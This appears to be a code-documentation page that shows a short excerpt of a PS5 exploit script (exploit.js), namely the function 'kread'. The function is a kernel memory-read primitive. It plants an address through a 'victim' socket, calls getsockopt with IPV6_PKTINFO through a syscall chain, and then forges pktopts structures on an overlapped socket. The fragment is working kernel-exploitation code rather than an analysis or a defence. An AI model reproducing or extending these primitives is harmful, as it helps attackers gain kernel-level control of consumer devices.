Function kread

document/en/ps5/exploit.js:810–814

(addr)

    }

    let kread = async function(addr) {
        await write_to_victim(addr);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
        await chain.run();
    }

    tagged_tclass = 0;
    await fake_pktopts(overlap_sock, pktopts_addr.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), TAG_TCLASS_MASTER_2); // will implicitly run chain